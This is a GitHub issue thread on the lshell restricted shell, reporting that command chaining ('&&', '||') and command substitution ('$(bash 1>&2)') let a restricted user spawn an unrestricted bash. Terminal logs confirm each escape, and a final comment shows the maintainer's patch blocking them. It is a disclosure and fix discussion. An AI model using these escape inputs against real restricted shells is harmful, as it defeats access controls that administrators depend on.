ghantoos / lshell

lshell is a shell coded in Python, that lets you restrict a user's environment to limited sets of commands, choose to enable/disable any command over SSH (e.g. SCP, SFTP, rsync, etc.), log user's commands, implement timing restriction, and more.
GNU General Public License v3.0
435 stars 112 forks source link

Restriction overrun via simple trick #147

Closed Oloremo closed 8 years ago

Oloremo commented 8 years ago

If you run something like echo && 'bash' or echo || 'bash' - it will exec bash command.

This can be avoided by adding && and || to forbidden list, but still.

Env: Ubuntu 14.04 lshell-0.9.16-1

ghantoos commented 8 years ago

Hi @Oloremo!

Thanks for reporting these major security issues. I am unfortunately away from my PC until tomorrow night. I'll do my best to work on this asap.

Cheers!

Snawoot commented 8 years ago

Please, note: this issue is not about command chains (&& and ||). This issue is about command parsing:

vladislav@dt1:~$ lshell
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
vladislav:~$ ?
cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo
vladislav:~$ echo "$(bash 1>&2)"
vladislav@dt1:~$ which bash
/bin/bash
vladislav@dt1:~$ ps
  PID TTY          TIME CMD
12547 pts/0    00:00:00 bash
12597 pts/0    00:00:00 lshell
12608 pts/0    00:00:00 sh
12609 pts/0    00:00:00 bash
12644 pts/0    00:00:00 ps
vladislav@dt1:~$ 
omega8cc commented 8 years ago

I can confirm this, too, with latest dev version:

o1.ftp:~$ echo "$(bash 1>&2)"
o1.ftp@quad:~$ which bash
/bin/bash
o1.ftp@quad:~$ ps
  PID TTY          TIME CMD
14597 pts/1    00:00:00 lshell
17814 pts/1    00:00:00 dash
17827 pts/1    00:00:00 bash
21412 pts/1    00:00:00 ps
o1.ftp@quad:~$
omega8cc commented 8 years ago

By the way, I couldn't reproduce this with echo || 'bash' but I could with echo && 'bash' (latest dev):

o1.ftp:~$ echo || 'bash'

o1.ftp:~$ w
*** forbidden command -> "w"
*** You have 2 warning(s) left, before getting logged out.
This incident has been reported.
o1.ftp:~$ echo && 'bash'

o1.ftp@v227c:~$ ps axf
  PID TTY      STAT   TIME COMMAND
12326 pts/5    S+     0:00 login
12500 pts/10   Ss     0:00  \_ /bin/bash -login
24148 pts/10   S      0:00      \_ su - o1.ftp
24159 pts/10   S      0:00          \_ /usr/bin/python /usr/bin/lshell
  345 pts/10   S      0:00              \_ /bin/dash -c set -m;  LD_PRELOAD=/usr/lib/sudo/sudo_noexec.so echo && 'bash'
  375 pts/10   S      0:00                  \_ bash
36538 pts/10   R+     0:00                      \_ ps axf
Snawoot commented 8 years ago

@omega8cc it is because of || operator meaning. It will call 'bash' only if echo exited with non-zero return code. Since echo always produces success exit code, there are more suitable command to use with ||:

vladislav@dt1:~$ lshell
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
vladislav:~$ ?
cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo
vladislav:~$ ll non-existent-dir || 'bash'
ls: cannot access 'non-existent-dir': No such file or directory
vladislav@dt1:~$ ps -f
UID        PID  PPID  C STIME TTY          TIME CMD
vladisl+  9136  9130  0 14:34 pts/0    00:00:00 bash
vladisl+  9661  9136  0 14:56 pts/0    00:00:00 /usr/bin/python /usr/bin/lshell
vladisl+  9667  9661  0 14:57 pts/0    00:00:00 /bin/sh -c  LD_PRELOAD=/usr/lib/sudo/sudo_noexec.so ls -l non-existent-dir || 'bash'
vladisl+  9669  9667  0 14:57 pts/0    00:00:00 bash
vladisl+  9679  9669  0 14:57 pts/0    00:00:00 ps -f
omega8cc commented 8 years ago

@Snawoot Ah, right. Thanks for the correction!

o1.ftp:~$ ll non-existent-dir || 'bash'
ls: cannot access non-existent-dir: No such file or directory
o1.ftp@v227c:~$ ps axf
  PID TTY      STAT   TIME COMMAND
24940 pts/4    S+     0:00 login
25121 pts/5    Ss     0:00  \_ /bin/bash -login
26609 pts/5    S      0:00      \_ su - o1.ftp
26614 pts/5    S      0:00          \_ /usr/bin/python /usr/bin/lshell
33546 pts/5    S      0:00              \_ /bin/dash -c set -m;  LD_PRELOAD=/usr/lib/sudo/sudo_noexec.so ls -l --color=auto non-existent-dir || 'bash'
33579 pts/5    S      0:00                  \_ bash
37339 pts/5    R+     0:00                      \_ ps axf
ghantoos commented 8 years ago

@Oloremo @Snawoot @omega8cc I have committed a new patch/branch, could you test it and confirm that it corrects this bug?

Thanks!! :)

PS: both bugs #148 and #147 are using the same vulnerability/bug, so it is the same fix for both

omega8cc commented 8 years ago

The fix works fine for me, thanks!

o1.ftp:~$ echo'/1.sh'
*** forbidden command -> "echo'/1.sh'"
*** You have 1 warning(s) left, before getting logged out.
This incident has been reported.
o1.ftp:~$ echo "$(bash 1>&2)"
*** forbidden syntax -> "echo "$(bash 1>&2)""
*** You have 0 warning(s) left, before getting logged out.
This incident has been reported.
o1.ftp:~$ ll non-existent-dir || 'bash'
*** forbidden command -> "'bash'"
*** Logged out
quad:~#